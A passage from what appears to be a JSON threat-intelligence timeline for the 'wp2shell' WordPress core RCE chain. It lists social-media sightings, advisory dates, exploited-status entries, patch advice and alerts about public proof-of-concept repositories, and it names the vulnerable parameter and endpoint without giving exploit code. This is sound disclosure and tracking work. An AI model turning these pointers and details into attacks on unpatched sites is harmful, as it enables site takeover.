+ CVE-2026-60137): Independent Root Cause Analysis https://github.com/tcyph3r/wp2shell-cve-2026-63030-root-cause", "url": "https://infosec.exchange/users/obivan/statuses/116940574604966863"}, {"timestamp": "2026-07-18T10:46:10.132Z", "date_only": false, "value": "2026-07-18T10:46:10.132676Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/obivan.infosec.exchange.ap.brid.gy/post/3mqw3knqcm7b2", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "f860e6f1-7dbb-4dd2-aac3-d14ec779822f", "content": "wp2shell (CVE-2026-63030 + CVE-2026-60137): Independent Root Cause Analysis https://github.com/tcyph3r/wp2shell-cve-2026-63030-root-cause", "url": "https://bsky.app/profile/obivan.infosec.exchange.ap.brid.gy/post/3mqw3knqcm7b2"}, {"timestamp": "2026-07-18T11:01:56.536Z", "date_only": false, "value": "2026-07-18T11:01:56.536329Z", "kind": "other", "label": "Advisory revision", "source": "csaf_ncscnl \u00b7 NCSC-2026-0250", "record": "NCSC-2026-0250", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2026-07-18T11:01:56.536Z", "date_only": false, "value": "2026-07-18T11:01:56.536329Z", "kind": "milestone", "label": "Published", "source": "csaf_ncscnl \u00b7 NCSC-2026-0250", "record": "NCSC-2026-0250", "field": "document.tracking.initial_release_date"}, {"timestamp": "2026-07-18T11:01:56.536Z", "date_only": false, "value": "2026-07-18T11:01:56.536329Z", "kind": "other", "label": "Updated", "source": "csaf_ncscnl \u00b7 NCSC-2026-0250", "record": "NCSC-2026-0250", "field": "document.tracking.current_release_date"}, {"timestamp": "2026-07-18T12:00:03.675Z", "date_only": false, "value": "2026-07-18T12:00:03.675999Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/93979", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "d662e833-9317-4438-a48b-97eed57fb311", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a kulichr\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 10:08:13\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nNon-intrusive checker for CVE-2026-63030 / CVE-2026-60137 (\"wp2shell\"), a pre-authentication RCE chain in WordPress core.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/93979"}, {"timestamp": "2026-07-18T13:22:40.923Z", "date_only": false, "value": "2026-07-18T13:22:40.923163Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mqwecofxtf2p", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "831dd293-f85a-4a67-80e7-0aedd98811c0", "content": "Regarding CVE-2026-63030, this is what I see in the Apache logs on attempts:\n\nPHP Warning: Undefined array key 2 in .../class-wp-rest-server.php on line 1836\nPHP Warning: Trying to access array offset on null in .../\u2026\n\n\u2014 from @SquiblydooBlog (https://x.com/SquiblydooBlog/status/2078464712250150999)", "url": "https://bsky.app/profile/infosecbot.bsky.social/post/3mqwecofxtf2p"}, {"timestamp": "2026-07-18T13:24:10.015Z", "date_only": false, "value": "2026-07-18T13:24:10.015432Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/ifin-intel.org/post/3mqwefdcifk2d", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "f58c4cdc-0d19-44e6-ac22-2f4f0c6a2086", "content": "This now has a CVE: CVE-2026-63030", "url": "https://bsky.app/profile/ifin-intel.org/post/3mqwefdcifk2d"}, {"timestamp": "2026-07-18T13:25:10.185Z", "date_only": false, "value": "2026-07-18T13:25:10.185853Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hatena-bookmark.bsky.social/post/3mqweh3yqa42q", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "33483a41-c988-485d-8f87-3f88b5bc37b9", "content": "#\ud83d\udd16\u30c6\u30af\u30ce\u30ed\u30b8\u30fc\nWordPress\u306e\u6df1\u523b\u5ea6\u300c\u7dca\u6025\u300d\u8106\u5f31\u6027 wp2shell \u306e\u6982\u8981\u3068\u5bfe\u5fdc\u6307\u91dd - GMO Flatt Security Blog\n\n2026\u5e747\u670817\u65e5\u3001\u8a8d\u8a3c\u4e0d\u8981\u3067\u30ea\u30e2\u30fc\u30c8\u304b\u3089\u306e\u4efb\u610f\u30b3\u30fc\u30c9\u5b9f\u884c\uff08RCE\uff09\u306b\u3064\u306a\u304c\u308b\u8106\u5f31\u6027\u300cCVE-2026-63030\u300d\u300cCVE-2026-60137\u300d\u3092\u4fee\u6b63\u3057\u305fWordPress 6.8.6\u30016.9.5\u3001\u304a\u3088\u3073 7.0.2 \u304c\u516c\u958b\u3055\u308c\u307e\u3057\u305f\uff08\u53c2\u8003\uff1aWordPress 7.0.2 Release\uff09\u3002 \u5f0a\u793e GMO Flatt Security \u30ea\u30b5\u30fc\u30c1\u30c1\u30fc\u30e0\u306e\u691c\u8a3c\u3067\u306f\u3001\u8106\u5f31\u306a\u30d0\u30fc\u30b8\u30e7\u30f3\u3067\u306f\u6a19\u6e96\u69cb\u6210\u3067\u3082\u3001\u7ba1...", "url": "https://bsky.app/profile/hatena-bookmark.bsky.social/post/3mqweh3yqa42q"}, {"timestamp": "2026-07-18T13:27:07.306Z", "date_only": false, "value": "2026-07-18T13:27:07.306081Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/ifin-intel.org/post/3mqweklzf2c2d", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "f2cc8a24-8d4b-4b2a-a65c-04eee0c2a54b", "content": "This now has two related CVEs: CVE-2026-63030 and CVE-2026-60137.", "url": "https://bsky.app/profile/ifin-intel.org/post/3mqweklzf2c2d"}, {"timestamp": "2026-07-18T13:42:16.081Z", "date_only": false, "value": "2026-07-18T13:42:16.081859Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mqwffjjxf22o", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "823e21b5-049f-44f5-b3aa-5bc81141fbd4", "content": "#WordPress admins - we got you covered! \ud83e\udee1 \u2192 We've just shipped detection for #wp2shell through our Network Scanner. \u26a1\ufe0f The fastest way to use it is to:\n\n\u25c9 run a single-CVE scan for CVE-2026-63030 (also covers CVE-2026-60137 - the SQLi flaw that chains & leads to RCE)\n\u25c9 Based on your scan results...", "url": "https://bsky.app/profile/pentest-tools.com/post/3mqwffjjxf22o"}, {"timestamp": "2026-07-18T13:42:16.568Z", "date_only": false, "value": "2026-07-18T13:42:16.568153Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mqwffnk6vk2o", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "fc11efaa-e86e-4b25-b6e6-0539e4ad0ad2", "content": "#WordPress admins - we got you covered! \ud83e\udee1 \u2192 We've just shipped detection for #wp2shell through our Network Scanner. \u26a1\ufe0f The fastest way to use it is to:\n\n\u25c9 run a single-CVE scan for CVE-2026-63030 (also covers CVE-2026-60137 - the SQLi flaw that chains & leads to RCE)\n\u25c9 Based on your scan results...", "url": "https://bsky.app/profile/pentest-tools.com/post/3mqwffnk6vk2o"}, {"timestamp": "2026-07-18T14:02:42.183Z", "date_only": false, "value": "2026-07-18T14:02:42.183813Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mqwgkaiooz2c", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "a55f0a0b-51f3-4464-aa9f-ccaf2c98c196", "content": "\ud83d\udea8 VULN: WordPress core 'wp2shell' \u2014 CVE-2026-63030 (REST API batch-route confusion) chained with CVE-2026-60137 (SQLi) gives unauthenticated RCE on a bare install. Fixed in 6.9.5/7.0.2 (forced auto-update); 6.8.x SQLi fixed in 6.8.6. Public PoC live. Src: The Hacker News", "url": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mqwgkaiooz2c"}, {"timestamp": "2026-07-18T15:00:06.570Z", "date_only": false, "value": "2026-07-18T15:00:06.570350Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/93991", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "ca5d6f5c-cbd2-4e92-a4aa-4c428b716f41", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63030\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 4minx\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 12:54:46\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 (wp2shell) POC.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/93991"}, {"timestamp": "2026-07-18T15:01:41.805Z", "date_only": false, "value": "2026-07-18T15:01:41.805956Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mqwjtpftve2j", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "dfde1fb7-a040-4f8f-ba90-2ee4972a3653", "content": "\ud83d\udd34 CVE-2026-63030 - Critical (9.8)\n\nWordPress 6.9.x before 6.9.5 and 7.0.x before 7.0.2 is affected by a REST API batch endpoint rout...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-63030/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "url": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mqwjtpftve2j"}, {"timestamp": "2026-07-18T15:09:53.864Z", "date_only": false, "value": "2026-07-18T15:09:53.864288Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mqwkcegsyy2c", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "5b1a00da-0656-44c8-a216-0015b1f1e9d1", "content": "It's Friday, so of course we can't have nice things! \n\nInitial technical analysis of #wp2shell CVE-2026-63030 and CVE-2026-60137 from the \n@VulnCheckAI\n research team \u2014 so far, it could be worse (but it's still\u2026\n\n\ud83d\udd01 RT @catc0n | reposted by @HackingLZ\nhttps://x.com/catc0n/status/2078306495817453717", "url": "https://bsky.app/profile/infosecbot.bsky.social/post/3mqwkcegsyy2c"}, {"timestamp": "2026-07-18T15:35:28.603Z", "date_only": false, "value": "2026-07-18T15:35:28.603000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://blog.securelayer7.net/cve-2026-63030-cve-2026-60137-wp2shell-pre-auth-rce-in-wordpress-core-via-rest-batch-route-confusion-and-sql-injection", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "78d178eb-1f84-44fa-bc02-eef0eecb1894", "url": "https://blog.securelayer7.net/cve-2026-63030-cve-2026-60137-wp2shell-pre-auth-rce-in-wordpress-core-via-rest-batch-route-confusion-and-sql-injection"}, {"timestamp": "2026-07-18T15:43:01.060Z", "date_only": false, "value": "2026-07-18T15:43:01.060337Z", "kind": "sighting", "label": "Seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116941742399190960", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "0846aabc-735e-455f-8612-0db38a8de292", "content": "\ud83d\udcf0 Critical Unauthenticated RCE Flaw Found in WordPress Core\nCritical unauthenticated RCE vulnerability (CVE-2026-63030) found in WordPress Core. Affects versions 6.9.x and 7.0.x. Allows full site takeover via REST API. Update to 6.9.5 or 7.0.2 now! #WordPress #CVE #RCE #PatchNow\n\ud83c\udf10 cyber[.]netsecops[.]io\n\ud83d\udd17 https://cyber.netsecops.io/articles/critical-unauthenticated-rce-flaw-in-wordpress-core-disclosed/?utm_source=mastodon&utm_medium=social&utm_campaign=daily", "url": "https://mastodon.social/ap/users/115426718704364579/statuses/116941742399190960"}, {"timestamp": "2026-07-18T15:43:23.237Z", "date_only": false, "value": "2026-07-18T15:43:23.237196Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mqwm6b6tuq2j", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "c025eeee-3481-4e6d-9dea-aaa6282b4fae", "content": "Critical unauthenticated RCE vulnerability (CVE-2026-63030) found in WordPress Core. Affects versions 6.9.x and 7.0.x. Allows full site takeover via REST API. Update to 6.9.5 or 7.0.2 now! #WordPress #CVE #RCE #PatchNow\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "url": "https://bsky.app/profile/netsecio.bsky.social/post/3mqwm6b6tuq2j"}, {"timestamp": "2026-07-18T15:48:05.324Z", "date_only": false, "value": "2026-07-18T15:48:05.324153Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/secdb.bsky.social/post/3mqwmgleo3s2y", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "e6c1600b-0d29-4775-8552-a1d66bed9f8c", "content": "\ud83d\udea8 wp2shell affects multiple vulnerabilities (CVE-2026-63030, CVE-2026-60137)\n\nRunning WordPress? Check your versions and patch to 6.8.6/6.9.5/7.0.2. If you can't patch immediately, apply the mitigations in the meantime.\n\n\u2139\ufe0f secdb.nttzen.cloud/updates/a5a5...\n\n#infosec #wordpress #rce #sqlinjection", "url": "https://bsky.app/profile/secdb.bsky.social/post/3mqwmgleo3s2y"}, {"timestamp": "2026-07-18T16:00:49.500Z", "date_only": false, "value": "2026-07-18T16:00:49.500368Z", "kind": "sighting", "label": "Seen", "source": "https://www.acn.gov.it/portale/w/wordpress-poc-pubblico-per-lo-sfruttamento-delle-cve-2026-60137-e-cve-2026-63030", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "8d3542ed-618b-4279-b6bf-941383e58b61", "content": "Disponibile Proof of Concept (PoC) per le vulnerabilit\u00e0 identificate dalle CVE-2026-60137 e CVE-2026-63030, gi\u00e0 sanate dal vendor, che interessa il prodotto WordPress Core.", "url": "https://www.acn.gov.it/portale/w/wordpress-poc-pubblico-per-lo-sfruttamento-delle-cve-2026-60137-e-cve-2026-63030"}, {"timestamp": "2026-07-18T16:03:00Z", "date_only": false, "value": "2026-07-18T16:03:00+00:00", "kind": "kev", "label": "Asserted", "source": "kevintel", "record": "CVE-2026-63030", "field": "timestamps.asserted_at", "uuid": "a8d657c5-c777-4516-a1a5-d052f50b82be", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-18T16:03:00Z", "date_only": false, "value": "2026-07-18T16:03:00.000Z", "kind": "kev", "label": "Catalog added", "source": "kevintel", "record": "CVE-2026-63030", "field": "evidence.0.details.added_date", "uuid": "a8d657c5-c777-4516-a1a5-d052f50b82be", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-18T16:03:00Z", "date_only": false, "value": "2026-07-18T16:03:00+00:00", "kind": "kev", "label": "First seen", "source": "kevintel", "record": "CVE-2026-63030", "field": "timestamps.first_seen_at", "uuid": "a8d657c5-c777-4516-a1a5-d052f50b82be", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-18T16:03:00Z", "date_only": false, "value": "2026-07-18T16:03:00+00:00", "kind": "kev", "label": "Status updated", "source": "kevintel", "record": "CVE-2026-63030", "field": "status.status_updated_at", "uuid": "a8d657c5-c777-4516-a1a5-d052f50b82be", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-18T16:18:20.746Z", "date_only": false, "value": "2026-07-18T16:18:20.746954Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/davidgerard.circumstances.run.ap.brid.gy/post/3mqwo4mfczkf2", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "4671b918-0c77-4fa0-861e-c16e14b0af3e", "content": "Update your WordPress to 7.0.2/6.9.5, it's important\n\nhttps://discourse.ifin.network/t/cve-2026-63030-and-cve-2026-60137-wp2shell-pre-auth-rce-in-wordpress-eitw/672/2", "url": "https://bsky.app/profile/davidgerard.circumstances.run.ap.brid.gy/post/3mqwo4mfczkf2"}, {"timestamp": "2026-07-18T16:36:13.110Z", "date_only": false, "value": "2026-07-18T16:36:13.110658Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hack4career.com/post/3mqwp4qmc4o2o", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "3af79d0f-ac86-46a7-96fc-fd8fac849fdc", "content": "WordPress wp2shell (CVE-2026-63030): CISO FAQ & Fix", "url": "https://bsky.app/profile/hack4career.com/post/3mqwp4qmc4o2o"}, {"timestamp": "2026-07-18T17:00:00.344Z", "date_only": false, "value": "2026-07-18T17:00:00.344739Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3mqwqhbdrti2u", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "c7678e67-2a80-4003-8a7a-4b0476338eab", "content": "WordPress powers 43% of the web. A chain of two bugs could take down a chunk of it.\n\nCVE-2026-63030.\n\nhttps://www.yazoul.net/advisory/cve/cve-2026-63030-wordpress-rest-api-unauth-rce-poc/\n\n#InfoSec #ThreatIntel", "url": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3mqwqhbdrti2u"}, {"timestamp": "2026-07-18T17:00:05.084Z", "date_only": false, "value": "2026-07-18T17:00:05.084152Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94005", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "220ac080-192e-446e-9896-c4e034ef35ed", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xsha\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 14:29:00\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 + CVE-2026-60137 - \u201cwp2shell\u201d: unauthenticated RCE in WordPress core\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94005"}, {"timestamp": "2026-07-18T17:00:05.151Z", "date_only": false, "value": "2026-07-18T17:00:05.151129Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94004", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "15ea1e03-2480-4f6d-a4aa-ac4428b6b7b5", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63030\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a mverschu\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 14:39:10\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC Exploit of WordPress Core Unauthenticated RCE\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94004"}, {"timestamp": "2026-07-18T17:50:30.349Z", "date_only": false, "value": "2026-07-18T17:50:30.349562Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/vuldb/statuses/116942243747321126", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "eb1cdf41-c4cf-4df0-9b04-19bfe964e023", "content": "It is possible to see elevated activities targeting WordPress (CVE-2026-63030) https://vuldb.com/vuln/379927/cti", "url": "https://infosec.exchange/users/vuldb/statuses/116942243747321126"}, {"timestamp": "2026-07-18T18:00:04.586Z", "date_only": false, "value": "2026-07-18T18:00:04.586072Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94017", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "c79f977f-c5eb-496e-86c8-57b572dbd312", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a h4cd0c\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 16:41:06\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nwp2shell \u2014 Pre-authentication RCE in WordPress Core (CVE-2026-60137 + CVE-2026-63030). Chains an SQL injection in author__not_in with batch-route confusion for unauthenticated remote code execution on WP 6.9.0\u20136.9.4 / 7.0.0\u20137.0.1.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94017"}, {"timestamp": "2026-07-18T18:00:25.414Z", "date_only": false, "value": "2026-07-18T18:00:25.414356Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mqwttcd5pq2a", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "7bc98b1a-b5c8-4f90-b934-66937aa331a8", "content": "Public exploits for WordPress Core wp2shell flaws now enable pre-auth RCE on 6.9.x and 7.0.x. Tracked as CVE-2026-63030 and CVE-2026-60137. WordPress has pushed security updates. #WordPress #RCE #CVE2026", "url": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mqwttcd5pq2a"}, {"timestamp": "2026-07-18T18:00:29.385Z", "date_only": false, "value": "2026-07-18T18:00:29.385363Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/offseq/statuses/116942282990851209", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "8ffd3839-cd45-42e5-8963-7bbbe46d03e2", "content": "WordPress Core \"wp2shell\" CRITICAL RCE chain (CVE-2026-63030 & CVE-2026-60137) actively exploited. Affects 6.9.0 \u2013 6.9.4 & 7.0.0 \u2013 7.0.1. Public PoCs out. Patch to 6.9.5/7.0.2 ASAP. Block REST API endpoints as temp mitigation. https://radar.offseq.com/threat/wordpress-core-wp2shell-rce-flaws-get-public-exploits-patch-now-99579d9a7c571599 #OffSeq #WordPress #RCE #Vuln", "url": "https://infosec.exchange/users/offseq/statuses/116942282990851209"}, {"timestamp": "2026-07-18T18:28:10.732Z", "date_only": false, "value": "2026-07-18T18:28:10.732390Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/modat-io.bsky.social/post/3mqwverqh222u", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "78d00a56-6869-4fde-8fb1-31e33ad1a3f9", "content": "\u26a0\ufe0f wp2shell (CVE-2026-63030, CVSS 9.8): pre-auth RCE in WordPress core via the REST batch API (batch/v1), on by default & reachable unauthenticated. Works on a stock install, no plugins. Affects 6.9.0\u20136.9.4 & 7.0.0\u20137.0.1. Update to 6.9.5/7.0.2 now. Query: technology=\"WordPress\"", "url": "https://bsky.app/profile/modat-io.bsky.social/post/3mqwverqh222u"}, {"timestamp": "2026-07-18T18:38:34.386Z", "date_only": false, "value": "2026-07-18T18:38:34.386900Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mqwvxjrszp24", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "ec5c51f9-c246-4654-afde-0bcbfd14ca2b", "content": "\ud83e\udd16 WordPress Core \"wp2shell\" RCE (CVE-2026-63030, CVE-2026-60137): public exploits released for critical unauthenticated RCE. Patch immediately.\n\nhttps://www.bleepingcomputer.com/news/security/wordpress-core-wp2shell-rce-flaws-get-public-exploits-patch-now/", "url": "https://bsky.app/profile/newssecia.bsky.social/post/3mqwvxjrszp24"}, {"timestamp": "2026-07-18T19:00:04.511Z", "date_only": false, "value": "2026-07-18T19:00:04.511150Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/P0x3k_1N73LL1G3NC3/393", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "0e4860d5-544c-4589-8741-c6d88831a109", "content": "WordPress Core \"wp2shell\" RCE\n\nThe attack consists of two flaws, tracked as CVE-2026-63030 and CVE-2026-60137, that can be chained together to achieve pre-authentication remote code execution against WordPress installs running versions 6.9.x and 7.0.x.", "url": "https://t.me/P0x3k_1N73LL1G3NC3/393"}, {"timestamp": "2026-07-18T19:00:04.654Z", "date_only": false, "value": "2026-07-18T19:00:04.654205Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityIL/86094", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "83499df4-e11b-4d80-9306-5286293695f6", "content": "\ud83c\udf10\u05e9\u05d9\u05de\u05d5 \u05dc\u05d1 \u05dc\u05e9\u05ea\u05d9 \u05e4\u05d2\u05d9\u05e2\u05d5\u05d9\u05d5\u05ea \u05d1\u05e4\u05dc\u05d8\u05e4\u05d5\u05e8\u05de\u05ea Wordpress \u05d4\u05de\u05d0\u05e4\u05e9\u05e8\u05d5\u05ea (\u05d9\u05d7\u05d3) \u05d4\u05e8\u05e6\u05ea \u05e7\u05d5\u05d3 \u05de\u05e8\u05d7\u05d5\u05e7.\n\n\u05d4\u05d7\u05d5\u05dc\u05e9\u05d5\u05ea CVE-2026-60137 \u05d5-CVE-2026-63030 \u05db\u05d5\u05dc\u05dc\u05d5\u05ea \u05db\u05d1\u05e8 POC \u05e2\u05d5\u05d1\u05d3 \u05e9\u05e4\u05d5\u05e8\u05e1\u05dd \u05d1\u05e8\u05e9\u05ea, \u05e7\u05d9\u05d1\u05dc\u05d5 \u05d0\u05ea \u05d4\u05db\u05d9\u05e0\u05d5\u05d9 wp2shell, \u05d5\u05d4\u05df \u05e4\u05d5\u05e6'\u05e4\u05e6'\u05d5 \u05d1\u05d2\u05e8\u05e1\u05d0\u05d5\u05ea 6.9.5 \u05d5-7.0.2.\n\nhttps://t.me/CyberSecurityIL/9229", "url": "https://t.me/CyberSecurityIL/86094"}, {"timestamp": "2026-07-18T19:29:42.328Z", "date_only": false, "value": "2026-07-18T19:29:42.328045Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqwysx5qlv2p", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "fc518283-ed73-45f2-95e0-6be046821657", "content": "CVE-2026-63030: WordPress Vulnerabilities Are a Silent Crisis\u2014Patch Now #WordPress #CyberSecurity #Vulnerability", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqwysx5qlv2p"}, {"timestamp": "2026-07-18T19:29:45.158Z", "date_only": false, "value": "2026-07-18T19:29:45.158528Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqwyt24fzp2y", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "099d5a95-9339-4478-9659-00a642890ece", "content": "CVE-2026-63030: Unauthenticated RCE Vulnerabilities in WordPress Demand Immediate Action #CVE2026 #WordPressSecurity #CyberSecurity", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqwyt24fzp2y"}, {"timestamp": "2026-07-18T19:29:48.664Z", "date_only": false, "value": "2026-07-18T19:29:48.664036Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqwyt56hln2p", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "081f10be-e89e-49b2-b8d9-5b0a1d4feabb", "content": "CVE-2026-63030: WordPress Core's \u2018wp2shell\u2019 RCE Flaws Demand Urgent Scrutiny #WordPress #Cybersecurity #Vulnerabilities", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqwyt56hln2p"}, {"timestamp": "2026-07-18T19:29:52.101Z", "date_only": false, "value": "2026-07-18T19:29:52.101428Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqwytaiwxw2l", "record": "CVE-2026-63030", "field": "creation_timestamp", 